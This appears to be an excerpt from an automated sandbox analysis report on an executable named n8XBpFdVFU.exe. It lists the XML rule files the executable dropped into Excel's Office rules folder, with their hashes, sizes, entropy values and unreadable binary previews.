SHA-512:	EE6737F577A6BE5307A3FB36F47DE12ABA7EF171F12C40B855467DAF4C348BAB6C4ABDAA02AFB062EAE6B15646FD62154E907896FA371FC2B5C5BCAE2CBDD8C3
Malicious:	false
Preview:	<?xml?....r..h!....;. .DF.^....d.I..XI.y.....H.P.......K...'..b....Pulq..a.r..K..$=8=$..p=./.R.I.5..y.Rd..hV._.$..D.].N.w.6,....'... ......z$.;m...l...4.&..%d[R.r.^"....n.h ...B....U.Z.......=.V$.c\|K..5v..sd.j.F...@=hr....>..o......~.\..e..A<i1.......I(...~..Qa..W.<...;_..x+g.\|..<..?..-?....................7O.`I..]V.@.3b..y..&...;...9.;...s..=?.da.B.....$.M....pCx........JL.^..G..Y....+j(..T..H..#-.[.%<..m....U"&O.......9...:....[......s.O....+.T.......iL5I..(.......p!.a#..i...q.(V....UD5;".$........H.......I..V.?.h%%.CS.Q/.X/.e.;v..^t=..O._L.p..8.Y....M&.v....}K......ol6.......o..p.....<04X2p..j.....?.8`.H.f... [S.\|.[l.K.2.D....#.0.P.-X/8...;e...2.Wlp....q.Y...^....P:/S......aF!..V..)~...0...Fd._[.j=CY.n..<......Z.....V...}.nV."..TAKj.`o?..]&[.g><LJ.&..W~.HFU.c."..E.......r...'...k...q.n..5..~(..;.....oO......^=..@DD:....y..e....d1..`.w.m'.q.fewD7....J1....CN...U..m..=.-.S. e..G5b..s.....c.R..f.1..p*S..Y...5..N...e(..."......X....O:.....r9.Tn>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.755517209655416
Encrypted:	false
SSDEEP:	24:ho66OIOXeo5NwnJfObUN6KbM9MRytRr4+i3K5sbD:h+Oj55NOJlVMugvE+iMmD
MD5:	B974324281B030AABBB42B7E215B5CEB
SHA1:	3231BE2A933D5B413B041B0B9BA1F41EFC235D93
SHA-256:	CC93F611051C5A92A949B48DA29F7D68FF6D7A92D255D372D77F43BE03A65682
SHA-512:	72A1256513625C8F65A516B4D7F0BFBD85DC36FBE24A23E5FB2B1D93D7946D1E846710C292BB2684065DD7D59F94147D14DB5CF2EF938129683FE2DE73E0C9A1
Malicious:	false
Preview:	<?xml.......H{NB.....l.......h..cu..&^..5\..e_.>...gV........'ee..,../.Y..J9..%V.v..\|.-..#..V.....c....Z.!..Z......E= 3yF..H....RJ..2`.'gQ.8.o.....c.A...."Cu....Js.a&s. xw..X...\.....PP[.y8.7.e..4...s1s.B.K./13...{..l...[.h...KL...."..m.deBy.iJb..(......z.S..s.}.K0....".r..?..H.{\|.;...v..X.h....y..=_!...m..~..[...qB]......^...:...jD...e.P#......u....c{.;<C.(...Dd.{.(.l.....$..{..........Z_Q."2...<.....q.....CShUos....#.a..X./r.6W...@R.F..'..5....2.@~..m..^%.......z.'.....x.b.u.".6'...C...;.....K%...J/Wl...+uqk.S......j.d<......DFx.X.R..[...#....9.@.....+...b+..p#.[~..3=.G.w.*.x.l.k%uN..y..LDSz......h).../...V.-.F.T...t....K..Drm./.@.C..T.e9%.E...x...#..w..q.........~'..).....u...&m...1...Z......W..z"M...k.]....X...'lknxC......d"u.nO..X./;...`..6.Z...].!{. .k.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.945378444718924
Encrypted:	false
SSDEEP:	96:AYXhhalmoWMjQj23BbGEQI1b07roamrcfO:tL2RTV3wyW7rPO
MD5:	B676617EBE1FC000710887872DE30E8D
SHA1:	A2DE668A5BEA8373374F9433E266E5A2A623FD3B
SHA-256:	8AD379E298CBA1C70D2F6D13A4C15A778DA521936C833CD7A9F84737DE00C959
SHA-512:	B92AB079053182CA74375A0D8C8FA530E9D19E37A22FB034AC5B4F64287481A5BDBD1D32F465C31D4E75A23115BD41CEDEB8315477EDE4CE0B95CA42553468F6
Malicious:	false
Preview:	<?xml....}tu...N3B.2.o.N.>o.4.......5......;...dI..]...!....)/..(o...G.er..uI....#@+l...h...Q\G.y..M.........s6u..`q.9..+....O.Gs...bX...2S..b....\....~=>f=T..X.;s......@.f..JHq....W..L/...^.$.io...`.`.4...k....Y........<...P1._.z.o..`Ob..5.....jX...y$3.5 .......F..N..v..Q.l...[.. ..vI....\T.....0.%09+.ICc.....Y-.GL."...d..4.:...,...h.0M....{.1..03F........#.`.{."..HR..o^.:K..."o......,X.!g4.....5p..t.....PtF.#.5....-.......j..cg.bap.)....JF"...""<`..+...}@.F...V.[.3.V5.<...R^.....p.9...s..8.4....f..ig........o...B....\.9..U.4@2.W.lX].7...b.....1Z&]....b..2......S.+..3Y.zlb...Y.....0..U^Kf.{.C.9#fF.:6.N...Z.K.v&b.P.....^.7.g..Q.rg...o[u7t....Z.\|`....ye...3...i...,...1_.D..i...I.PsA......4..[.h....r.0...'......?.a...3 q6^..Ma..Y.+....".e.V......zIC..;.%k....(..78.\R.4..5.w.Xf}Ccc....p.[Wl..~o.G.Y21#.$..Fb9.p..~X?.9......U...&}..1_../.#....L.V]..".%.3..m*..E#.......R.i..hg..pc.E..p.r.4.......&...;.}.O~}..J.1..4...{a.;+\|P.....A.......;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.942485031257022
Encrypted:	false
SSDEEP:	96:jgE26DjXym/mu+2iZ5N2Q+99UYvdtudoGrildMb:0EpDjCm/CN5N2QOvDAr+ub
MD5:	7E89255005C29BD7D3A7DDCA8A975A45
SHA1:	E5DB7DDFCD192789EAFDCD1B95721EE58430F8EA
SHA-256:	404252BCD58EAD932462FEAA167F67580AB68D0EDCE8237608EB0E0ADF9A18BB
SHA-512:	66D2756C66CA69F224BBE3FE2ECA1F5E75943D153C62DDF7219C529DA6FBF584E3F4B0722317A9CB2CB69EB0C4DD803B80147285D445988A97FE3681786ADFB4
Malicious:	false
Preview:	<?xml...a.(......I..q..W....&Q..@...r...;ufB.aQ...]..g-`..g..8&.By..m..uh3..{<KC.,;XB.........vG2...y0....(..}....d.?.....6.29.....dL...v.b..H...\|....{...x/../9......a...}...{..H...~.......r....`..s...H.....S.A..[.Z.s ...Sl&.}.XG.x8=..'.f....Mt.8..o".k..(Z...E5M.m.....h.S.~...T...\|./.sH ..&X>Rkz...._E-...g.n6JK.n.?,..X.T...dKJ.0K..w/4=.c..I.]...........y..l.5.GB....`.ZJ=p7.^..E.8.....c.w..Cq...;.-3.U~=ED?.:..`KH.."...s..A. n...oE.M.u.Db.~.:.....Y.2.2J..3.Z.&..I.V..B..I...J.].)."}..b.'n.WO..`a....e.a>.K4.....XB).X...%.,e...4...I.8w+.=Q.. .5.z..,YQ>.]n)....bC.rD6N..i........f..+......&.{..aA..l...0.z.qi$.-..9....lx.......@.p.NQ....L.<.Ql..#<-.j8.-.),8......z..I:..<........n....8Q.GD..-......:..G7..b..a.....c....v.D....TQ....;..)....JA..WIe.q.....<..Q.w.Dn......]-..C...\|*p.T.WT.07.a.F.A@..'./ ..'...f.<;Q....R.-...2ls..S.....4.R......z.~.1.U...#j.Qm}LD.......DtN.[.].....c..G.../...%.........&B..]T....m'.+.r...4.4..$."U....a.O.Q...".Wr..j..[P....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.708079310853178
Encrypted:	false
SSDEEP:	12:CphY2Xt9k401B8lrIFHiwJVSsB+iUTLiYX2BsNAOmy1w3nspcPkMo1+cii9a:CpO+0Ip6isFYNL1ssAOmL3nIcPxbD
MD5:	6202C7158287A56CA5A11A6CFD8309BC
SHA1:	DACC84D75DB6278185CC075AE419BE0493B920A1
SHA-256:	5DB26ECA1DA225DA5615AFDF82FC6A273F3E4EA67DAFC4815E8BC1D8971CD6FD
SHA-512:	9149F1B2CF206B040B9AF18D8A0D88FD6502A631D44DA9E735DC467093FA097314BFE1BFC99FAA25536A0AB483AD2EC7C1A59DCD14B178A40D296B0BA2AEB472
Malicious:	false
Preview:	<?xml..JH$)....#Z.!a..#......M..FQ.X.&&..9.....x.z.8q.#kUy{.;(......!S..E@......rK.....[yS.....-...a........X......S..5...=....qYS..YT.mr.4..F...8.1.+..x..........j!..0.<v....'.M#.t.#.....UDa!..NI........]..O....~....s.6ig..>.WI.. J.A.......<.)S..[h!+fC..X..2..*;...%.g....5......./c.5.j...>P..r.(...j....]?H4A./a.ak>5....P.Vww.P4L.'.d..+..jI....0#....7HY..e..Y....;.O.P..5r....=.#.C..P.+..ya.....sV}.....5.^.lc..Y..Ci...7.nI.....38..r.%..R;yb..y,~m.Ng..h....oUh%...p--.l2..qm@..#.....xZ.[2..F....]}...z.0.;.q.,..gn...).0.".I...c.gZ....`..........HL<......G\.+2...%n.D)...s + ...T.NIm.H.5_.z.~..O...%.?p.h..K...TA.......\|f..8'&SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.88146481026136
Encrypted:	false
SSDEEP:	24:yqqxP6+cyvPm9uVPR8d/t15/Vo8fVrzQXOTp0Hlc8jVe6HB24eVoTBQ/qCzgDbAD:y/+9Jt1hVo8fJQTS8BJh24eEC/qfsD
MD5:	BB2DFA19442634721AD465BC8406A10F
SHA1:	61CB67CD3E3151EC3E3BD9CC91246DAA2CBFA707
SHA-256:	D533D0A8C50E9B4460C16E6292ED3B1101A83E8071EE729211A88D258283034E
SHA-512:	0D5C63E7B1FB0AEA1BB870530B6A28326FD370BA74981A162C1C37BE583B397A33307FFEA451AB5F0FF14A23ED0902E34A7BB7F191A0CB5D76BFFB371071C95A
Malicious:	false
Preview:	<?xml'..uU&.I..d.$.....7..I.....fm.-.\|...x.45..0..&fDt......:P2.`..3?..V^.N......d.6..l.Rcu..[.{.t5..'x..J...T...2.M.Va..X..p....\.R......F.P....B.>N..Q...\..qgo........n.......K.....U.>[.C........t. ..\|...er@j...H..n.....y.......rYv..5"'d({........!..>.....c..3.$S.s.b...3....1OyDmK..[...{.Ag...M....?..9.. .r...g..P.AUC\G,.:#..\.:..K)...C\D..Jq.^....d..r$..-....7.$...>.,...M:.v...]i.{.I....4..p.X.A"...M../.....@M.k.h.J..k...o..qR..T.4$.&.,..hc...BRE=.Z.:tm...5.Hw....I.....k...6.^Q.d.+..\@p..pF.3...'.%jj..7g.g.....!J..v.....L_Ap-....#.rd..i. qY....7..B.....ke.9Y.\|.v...........=mo...u.BlC.^..%.+.......z...X0$b0.o..8.c..e.E..f....x....x..r..I[).K...]\|cghPE.......p5;H...i....x......V.xt...^.j7...+....s......9.A.Qq.8.._.........}...#.....1......\.C~.y=.......ETt..a.....zS.....-wZ.1..A.(8....l.[...S.D..yi].s...t4.{d..).......[.../..9...`.U.S....RM...T..Ey3...i...>..s.2...1.7.../...a.tx.........J..U.......vA.....+..]m..X..0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.750726812137982
Encrypted:	false
SSDEEP:	24:UDXp7fv5S95Q/uNRjlCvvtNSyH3eeI3xbD:25z5S95UwZEB8D
MD5:	1B9C9CC4F39F2A9EF4B3F30A44174E4B
SHA1:	ED07A3A2D063D9B14851A4A2883FA891BE2D325B
SHA-256:	DD4805DD62F0070A7272E9E56D7B443ED56B7ED8B454D15CFF9088C2873B7279
SHA-512:	545F772CA596B8C0AD8DEE1253944EFD16F0ECD7E938EAF9F46F579766AC97004161C3405533A119956F695B091D2D61479F99F060B95E457E409A634B35F9BA
Malicious:	false
Preview:	<?xml.\|..J...00d......uP..a]`~.5#.....".p..._..M{.....P...,.V...p..)x..T...)}#.6\|7[.......$......H...HU._....@...".V${...aXV.......N....j{......M..$....R.'...ik..7......9.C.`....P..s).x...!....}.....;...r.H.j..#....q..\qz.}M{O...S\..,;.%K5....'0..!.E.....Z..p\.....Z....L).^..e....u..v."....\|.\.?....H.<,......{..J..2.........k3;TY....e3......\|.1..Av.r..'.t....lc..U.%+@.......+A..c...<`..x...gkjA..D.l..Q.&...T3e.z5...@o\.tx5.{.k..pj.....'e`K..}.....~...r..).)..:.._......Q.-v..T..i.bXj.......a;...e...o..E<...BM......]...S....Qm)..q~..t..\|...,?...q=&.F..m>.,...B .().....2.lu..c..6.Y.I..e?..f..J]...gI'k.!.......j... .."...,6..v.I...!.....=. D:O...1..A.Qn.r)....Gz..\|...1...B...M...)&..s...e.f.`....3...kSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.799282458971075
Encrypted:	false
SSDEEP:	24:nEMOkTMn+K0poxpolAbCF9tD0pxvdOVs92h9ObD:EMO9n+K0OslAjfvdOi2h9sD
MD5:	4B56958E1780D800FEC7A4EA2207DF46
SHA1:	3B25F0B8B40B3C197C217DDBEA9B07AF3AA4C109
SHA-256:	0177E8D431A49BFBF0765DACC0C691A55CEE1E93F1B8161D1D1C3B7B3451E612
SHA-512:	A7DF0113D8088F35162498AB7416CB4B7BB169E6DBC68D3FA8E7CD47B06DB3281F0F082EE9529FE03DD060A2A6F8848D83A6575F9E3E99D783E510684918E0A5
Malicious:	false
Preview:	<?xml.S.8N...9.p.g=.<.`..8..=.=QM...0.w.....s....5..^`.0._......^.Y......E.G...R...y.[.&....PYgIC_..............D.V.v.D.J..+....m..O.pm..I2U..6h.......d.`..j)...\.A0Z..........t...bT..;y...oR1....(..Kn.n.g.V....NtXK..a.nf8....B.].s.N>...)..=.!g...T..s.0.Y[.....{/...b.Ho8@......{...}..~+68X..0.}.t......y...I....o..........T.....t\B..@..Xz...k..s..b.DS.p..j.r..t..1d..$+...510...TZ.c..'.X..2t....R.K.lo8Ia..`:....Fx....$R..l..B..9:T.>...#....0/.D..}..U....)."7R..R.,.....V.{.....Kt...?.o....t.n../>]0.A..V...:I..)Is.V......>"..f.3....7.\....n...s...j".j.). ..b-5.C(T+.N..!S. ...&....<..7.[i..#.....X.pks.l.....M..`..8U9.u2...0....".~Xo#.r\|....Y..b..VN.]5.+.._.....,....K..I ..5....1e.G...c..F......g....0.(..!"..T>x`k..[.\|.'~.Z...U)...[`.Q<.:..vKZ...2.x.]i.Q..o.+..>z.._...=.}y..W.y...9..?\|.?`..(]..5;.Q...].....>.......L........TZ.B.....+.._g...d..R.7..k..;..(v.".$.a.j=........).A..e.g}.O.o.-Yf ..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.859485657753869
Encrypted:	false
SSDEEP:	24:ttkyqXtd0XTHA1kt1Ilt1RYogQwb402GfrkeSjHAFw13n37MYbD:ttk1juG53vYogQw8uTkvjgy33wCD
MD5:	68DEBCE4C0AC037AAC3EFD4D365F09AF
SHA1:	FC8032923855E026468EE3CDDCB43CC296B6B972
SHA-256:	AA4667E10B1F84D2787D907F3BF44CC4ACE6BC158C4DBB57CEB704F9A565E54C
SHA-512:	59FAC94DD6F1CB8AB6C9FB46CAF8B2702A724CF2CF14F9EEFB71DC11186BCDCA038DC85B22B693209BCA3CB8A7D072AC81B648056E9B53B9CEFD6846D4740DF1
Malicious:	false
Preview:	<?xmlz. .%RCumX.\|.....s...v.....^..V\|.]].w.....Y[:X....T.+...h......kX.......t.....j....5...c....Z.08..].8...x....ap`[.[f[{..!...-..!.L.O..k.F..N.....`..?..).7\...'.{o.F.U..Uv`...Y.eC..s.#d....3.-=..X;..(V.\..m...~4F....}U..@....}...Y....@.}/m....V`%=R..,E.$.axy./.. ...\|.`...~.......>.a../sh...7..;....2.......9.+....U.w..KM.I.".0A.~......wh"!...{..."bf.)B..$.x.....\...lEG.),p.b\|.......A...........s.,.L..o.s.f]....}....s..R.E;.?.6.lb]...5..x3.\|7.=...-E.i.9.t.MN.C5..)...+....3-..s...n.[..&.2....t\|....yYr..K#^Ag.h..&..s..1.Q.g...f.^...{.H\.2.oE1U~;m) ....EU ...ct7+EzdZ..L;X.A.\|lk../...c......!C.A....9m..s......7..6\|%.X.e...8.F..8.0.....ff.@..k.<:com.R_.2.3(J..u>..f..;..y..$.`lB......9..E.u.n.g....Q.K?...O....B.]....J..%..7..._.=....=$.%Hi....'..i..f...i-....(....j.m%fx;).4.;U....FLo..}..7..B=).........D...].>....U...1.#..\.......n.~2Tx.&....V.;...N.j.!+..~.......?Q....w.3....]^...a1.3..)......*...(z....A. ....D..H..0<.N.Nx.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.929781441162425
Encrypted:	false
SSDEEP:	48:Q1ZrlNDmjdT42m11CsDtNJn2782aFoIC0sjKeOmd2nrfNb31CYD:Q1Zrvau1CsDBn27gPmsF/
MD5:	D7A8112C404F2FC02CD8283640F2F266
SHA1:	670A5A4BE38C0312111D09CA74FE96C088268E59
SHA-256:	0614EA93BC25030D997CF848DFDD9F1344C7971C75DAE35BB0D0AA9BAB8FA8FE
SHA-512:	305EF2C2D7D1ED0665D6D41EE7729B28F044DC08A2A186D1BACD1B101FDC201D4FE307011E22EF94BCD764C516D8DA44EFA967070F160EBFD21A6B7D375A75EB
Malicious:	false
Preview:	<?xml-........\Y..-e.^.....>..=%.T.U..^.V..v..'L} ..q.k...FY.D.J\|.St.B'i(9.."...'.R..Q..F..{.d...3.....O.Uv-.\x..1#...?..m.ivs....VQ.....o0?.................u..2.3.7..0a.~xr.......t....,w.{.q......t.+....t;..N...b.....g.gb.l.Ajv.".Z.7)...VH&..[..G.......[..$W,.(J......t....C{<{.F..`e0.=X...8G.$f..aq2....a..d...gn.H...e... ..l....K.....k..m;.#..r.2..6...5......#....C.C.~b4....M.rW....J$[,.xYCL.-~4$%.\.>...sL.}.r...S..-."...ii:.....f..T...+.(.U....^..0...'...,y5._.}.& .r.c.dJ4.X.%IR.`?[k..7.9.O.XU.;......l.....^..-R.f.s...nR.b5GDS..\|o.(.pP.2.I/...l/Uq.8....5.U6i.+KI.'...6..\|...JX...*..!...................Bl...E9..g.3.R..E.... U'>...`O.SI...>.m.....$K.........7.8.DU.H,.T..:P....$.`Tv..X9l.....Kv...."..='6Nq.(....5....HA"...K.0..7.f...:.#..'L.!F.....w...!..O..g..L7...)...\'{...DI.....w@. 'v&v#...i.7R...A....qY..G.-.T.,....>...E.....:..h..."........Wf..k.:...^.?.qG.....rcS.....$.V..XI......y.......Ms.bf..[..d#...w..F.f.BN.S.X..Z...M$.U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.866183190521822
Encrypted:	false
SSDEEP:	24:QGLWJAy/8uexLNhgFA09gLQ8aaSV1adP3/dt9m3zW4IRhff+abD:QGLxJNmSLRaVV1aPdt9UW4qffZD
MD5:	68F83B6DA80F21FC891C8BA14786F872
SHA1:	C95B4AE35DB9BCA17989F112820D10C6E8F52693
SHA-256:	989A4203E178F76327E88C5D51B1428A00C767241CA82C6D1AB1243D1172FD96
SHA-512:	1C89F1F8E0C6826B119075ACB7EE416A2C770BC25AD1ADFAF7FC839C5FCA1E17C85E0EE1A16649C4152E9D367C044057128BCE75776CD03AC7159BC76313E9F4
Malicious:	false
Preview:	<?xmlo...........7.L.....@6.......I.$p....-L]!aG.'...Fun.8`r........+1......+..(.eaz...;Vs"R>....u....F.....9.N....h>.z._].l...>.......?.\|..2...8.?{b1..\|.....A=....]d..,..~.j...\|#Q"w...\8..........G.....'e...._J..0..[..jl'.t....8..$...7...v.@..1eSX.7..Wd...i....N..P........0.x...I.....(.&...>w.....rc).0n..En..!........m.-...?.......P.."....Y...l.!.t.....\..L..:o.....x$..w,R.uq?.Q4..Q.T...FAE..prm?.W...zK.5?.yzb..t..}..\|~ ..r.....(2......+..{y..n....".5X........D.6Ln[.....Q...%,AG..y\|p..6.Abt.......'...f..#Mp.]...{..u._)8.F..C.p..P........4...DuY~......@...Kre..Ak."...y...F_W..4h.....X..y......}....$...g..U=y.nH.....F . sh.....e..0.0#..T3.Cn.2..Lk..3...XP...w7e.-B..:.._=.][.%..1..c.`c..E.....n.....W../..dU.f..J:...f....!.......I.8....4..'q.f..A_.%...W...Y.;K..y..)p..jg.!.#q....;t...h.L\|....i...1,. ._L69j...3.Ui.@.p..2.}...;....i.!eC.e.v...$.[...+wr.%`...R.E..a...Zz.fE.;.R~M....7N.B..OJ..f.K...S...d..?@.u..A.G...-..d.+..P.e. ...7.6...=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.8135045549675635
Encrypted:	false
SSDEEP:	24:w7saIfog6RTraW2YelV7FFw2H3/a4CqZH699mmbD:wTsMTr4rFj3H6rm0D
MD5:	5A7082490D439538C6388B128632054A
SHA1:	0C048F96FD358ABEF075AEB0AA99D47962A59634
SHA-256:	52E01A92BBDDB15DF992989547B6FCCFD69F0F9F633928AEF61D7A445BD4D9C6
SHA-512:	E69D12CF7F071A0F5853DA3D98140910F8005D238A3FA99944B115C58F41D9EE22A5818D53E7A3AF895BE36243BC63973F220394211D8AED074246D01535CF25
Malicious:	false
Preview:	<?xml9..... ."$KQ..Ys.+..;..h..%F..6p..u...5\ ...........W.~\|..e.ur...5;rx..e.[...N.g.v.....e...EJ..5.;1..N..T...y....ak.,...\|.....Dx.......\...@.....PD..x.%..."....Z.r.....=..r.p..&=.....l%b...y..6..A.6Jk..l..s.$r.%.....b.9n.h.9.B....o......n.w.\|pF..t....F...>..r.g!rR....S.hL&6...i....\|....5.t..krZ.1}..E....L.s.A..B[..K....._.jS..Js./......q.....et9$2.o"j.d...'..<\..T....1.x>...V.m.h.V....!..kb.$-....<V...W..v...-.N.i...=...A.Y.w .-npwN.../..75.~.tNB.%.EzIZ...0.R..tX9.>....."./.&.@.w.Y...4+C.k.QU.D<.@.......9..09.8.(./..4..Z5.c...i....[~.+n....=1#..8X....S.Kl...X..g..4Ku.dB..I.:.(..7#........@..q\.T....5{TA.n.}...r.C...@.......z,2....FHCi.z>q2T.lOGe..!{...O....Q...`B...Q.7.%.m.<...Q9....q`....H1.cx..>I....2H_......"....Q.....[._cr..........d.7$.X.?.9.[.A}A.....p.....sU.J..6..fK].e.1P.J...CEH1...f.E ...4..+....(N.-..U..^G...z..^.<y'?.v........B0...[.....OA.9..d!=.Y>G..W.pv.....;...;...C....D..C..?\.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.898147361159891
Encrypted:	false
SSDEEP:	48:Rgkej0nclkc0Enzqz4PmQWNJVQYnPkzxR+aw2D:RhE2clwoqMWNJVQYnMtRfwu
MD5:	C626A8AFB79F11FFE171E66E807BEB2A
SHA1:	A4FDF209A1C286E9E8CFD1779A47658E213A437B
SHA-256:	21EDE639E954B006987ECA3C0826176DF4A02103DF506F41FA22AAA1ED9C32D0
SHA-512:	E78994BB53E387CD9877DA1C20696EBFBA5B3613CFE82FCE4DD64A58FA5E2FA19D0B80A9B7A9371AF398C5D3F37F9EBD418EA6DEB3A71994A9E8BE9CC215A85E
Malicious:	false
Preview:	<?xml...P.g(lj.wi...4...P9).>XW{..h.R9..:..Kj....y.+..~B....?... `.`..H.R.}.....mT..O....c=._..[.l.Q..Zt..U....#h.Q...Q.N..)..O......[X@..]...qUp).}../..!..X@X..4.R.0.....n.%..E.#Y.\}.0fs..N..A.....~.+.q0:g..e..,....K..-^.g.....".$n........../.^zg3....h;.v_.s.Wr.,...mfW.OP).....j.[.B..0.f.$.VnT.9..5Z.A......Es....R..R.."..2Oen..........f.I\.SF..#M..S....l.~a\|~.u"0..U...I.....i.B/..'.L...&.;.....R.-......C...F...&.;`..y. ?k.5.#Rz.7..R..v.UK...pR..w[<..!.....^..v^.k.VG.U.D..+.,...~.h..:.O.. j......F$..f.zLz]~jA\|O:.....Q.g.-.E.....>.t.`I(.j...2...d.x.,..LC..hm..}.[.5l.,..X r18<cf.:....m..w...p[.eV....^G.;.2..0.`.l C......2.Ec.....,(.wJJ.......X-cm.".(.{Te.5a....v.QP...C..u..a9..O.z.....=n+..W.....[.2....U..J.!..N......."H...%... .`.......H....3....67....%..v......IA......N.KH...u..D.N.L8.lH......~j.....ly.Vc#.y..B%.=p..XD5.X..,..i@4....}...$J....?..w...w..i.V"...'?%..:..-. G...\`...n.S#T`.6h..p.....I.x..>Q..AZ...s}'..Y.\|9..qS..5.....=.]Ll..R.U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.820263191193753
Encrypted:	false
SSDEEP:	24:k0j6UF5Itt99ClqceKT5Amd69obIE8Pj8yEms7KHAq46gs0MmxHbD:ksp5UEPeKTVcCbL8rst74Issx7D
MD5:	B9FEF00B8DF80FF5CB33DF55D11B4125
SHA1:	67EF5F6E5922413F07DE94815ABE397A2A221EF7
SHA-256:	02ECFF7EBB3F01D6C568EE2F28E6F2E681F16565EB2B2CDB2A8DE5F9DC41D930
SHA-512:	4BD8B4A67EEBBA0FBBD4CF7C0836CE7DEA4B4AEAB399B789A29CBC2CE18E4963AA1E08C326BBFC4DD007B56C4374AB7796564621F82EAC4079EC950FB896255A
Malicious:	false
Preview:	<?xml..K.......Q?A....O.......40.....Qpj....~a..#H....K2..X.Z...7.....K.........e+"........D./k.-....J..7...[t...L(..:kZ-. .G.5.6sy9.#1...gk ......\|.<_..8..)...7d$I..Q.....2....n8.q.x....Q...sl...3.sU....].K..{..2K...`Su..}t1M.cz;..U8...Cv"R..S...,&z.....%./J85..UP.p..?J.s!....^9.+#..5o....yH.\|P...K......EW.<Z.H..o..,..X"......f.V(..Wrqs:....N.::.."..!o. ..rof.2c;.y...Q(HVwX!.........9.......Y...\|.?..~m6I...~...pH......@/.3$r..[L.\|Vi{b_...]".z. K....Z1Q..;`Q..T.\..O^...T..?;...p.ig...4\|(...7..L...i.7n.V@l.....Zs.....(.^,F..........J.&....ii0..T.5...ytG..#....3..0..7.M...!.x%....&....'A.\|...Zo.*.{.&.EBLd.\.olN. ....f..Q#.Z....3....).@. ....L..#......=8......@.J..H.BD9S....a.i.......7^>W..\..L9.....e.D..mS...!.R.C..r.=..8...a6.....~..e.5.`o.....?..DPn..o..q...v...{..R.............>.....g.g...........'...].B._..OQ.=Z..C{LL......:S.`.7.'..@D..w_(.........;...R....)%.n...$.;%+..j....a..{]ZK-y....O.l... y..2.(.-....},..'GRw.~.....>........v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.842398428726984
Encrypted:	false
SSDEEP:	24:Ibd/eI3SSPDXldqTYREACSmXlkgAiZ6IQKl70TH6TbD:77whRBCSS+RiZbl70SD
MD5:	F8C6ED1E706EF3D57763D063CA8C06A5
SHA1:	D9AB3459A74D8B0A52A3498B5A1C26CF0563D00A
SHA-256:	A91D6EC55E75EF19BE0355741B86BC2F4D05495BC7BAAF19730BCD855DF44E3F
SHA-512:	2C978F962E6EED353542407CC66C73A533D986D2E73DEEB4F9DC632B87BD8B79BC99083169CEA68610AE6EEBA5EA6A18A0FFFABE35FA9FB9656F318E0D3BADED
Malicious:	false
